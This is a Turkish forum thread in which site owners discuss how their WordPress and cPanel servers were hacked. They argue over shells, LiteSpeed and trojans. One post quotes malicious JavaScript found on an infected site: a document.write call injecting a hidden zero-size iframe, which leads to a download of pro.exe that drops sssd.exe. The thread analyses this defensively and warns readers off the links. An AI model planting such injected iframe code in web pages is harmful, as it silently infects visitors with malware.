GÜVENLİK AÇIĞI - Tüm wordpress site sahipleri mutlaka okusun.

Fuzzy li bir adres daha var fakat o aktif değil.Önemli olan bunların sunucuya nasıl erişim sağlayıpda bu dosyaları upload ettiğini bulmak gerek.

hocam benim siteye shell atanlar turk sizdeki shellerden farklı turk birinin yazdıgı shelli kullanıyorlar.

İşte onuda wp kanalıyla yapıyorlar.Benim tesbit etitğim o.Hesaplar arası geçişi deniyorlar.Geçişte yaparlarsa diğer tum hesaplarına ekliyorlar.Biz sadece wpye kısıtladık şuan.Atılan hesaba ekleniyor.Sunucu ustunden geçiş imkansız bunu direk cpanele denttim.Litespeedle cpaneli açık mı var sizde diye ayağa kaldırdım.Ama birkere birsiteye eriştilermi kafayı resmen takıyorlar sıfırdan kursanda ekleniyor.

Wordpress, curl bunlara yogunlaşmak gerek.

Bu sefer kesin çıkıyorum selametle...

Bu konuda yanılıyorsunuz, söz konusu sitede wp v.s yok hatta tek site var diyebilirim.

Hocam wpye atıyor demedimki ben sadece benim tesbit edebildiğim wp,curl.Farklı sitelerede eklenebiliyor onuda işte açıgı w00tw00t ile tarıyorlar demiştim.Onunda resmini alt taraflarda eklemiştim.
Wordpresse attıkları genelde siyah olan diğer sitelerdede beyaz olan çıkıyor.Osiyah olanı attıkları yada atılan yollar var işte db bilgilerinide o yollarla gorebiliyorsun.Mudahale edebiliyorsun sitelere.

Pardon, ben yanlış anlamışım, neyse bakalım belki net bir sonuç çıkar.

4 arkadaş arası geçmiş konu, ortak olarak shell yenmiş olabilirsiniz ama wp açığı olduğunu düşünmüyorum, konu sahibi, öncelikle mysql database bilgilerinizi değiştirin, örnekleriniz çok ama kanımca belirttiğiniz gibi genel bir kodlama sorunu olduğunu düşünmüyorum, geçmiş olsun

arkadaşlar yanlış yoldasınız. wp de açık yok. litespeed güncel sürümde de açık yok eskisi gibi yeni çıktıysa bilemiyorum... sitesi hacklenen arkdaşlar trojan yemişler mümkünse formata gidin scriptler temiz...


verdiğim linklere girmeyiniz.

adam sistemi oturtmuş js dosyasının içinde

document.write ('<font id=font><iframe name="iFrame1" src="http://www.r aptor srepu blic.com/genesis/wp-admin/includes/img/hub.html" frameborder="0" width="0" scrolling="no" height="0"></iframe></font>');

iframe ile sizi bu html ye sokuyor daha sonra buraya giren arkadaş

dl ="http://www. rapto rsre public .com/genesis/wp-admin/includes/img/pro.exe"

bu exe yi yiyor. bu exe de otomatikmen chmod ile sizin ulaşamayacağınız.

fname1="sssd.exe"

bu dosyayı pcnize çekiyor. siz ftp ye girdiğinizde ise sistem işliyor. konuyu izlediyseniz shell adresine girilmediğinden bahsetmiş arkadaş sebebi de bu. kişi yapmıyor bu işlemi

@ZeoMast3r olayı acıklamıs sorun kişisel güvenlik acıgından kaynaklı sunucular yada scriptlerle ilgisi yok


//EDİT pro.exe denendi acılıs sayfasını degiştiriyor proxymerkezi.com olarak sssd.exe yide tempte olusturuyor. Amaç reklam gibi görünüyor ek olarak ftpden bılasmıyorsa
Egerki bir güvenlik acıgı varsa bahsedilen js leri konudan ayrı olmalı yoksa js lerle ilgili bir acık görünmüyor.

Egerki Arkadas acılıs sayfası olayından kendi sitesine hit cekmeye calısmıyorsa.. Bahsi gecen upload acıgı ile zaten upload acıgı var ise shellde yüklenir js de bılastırılır..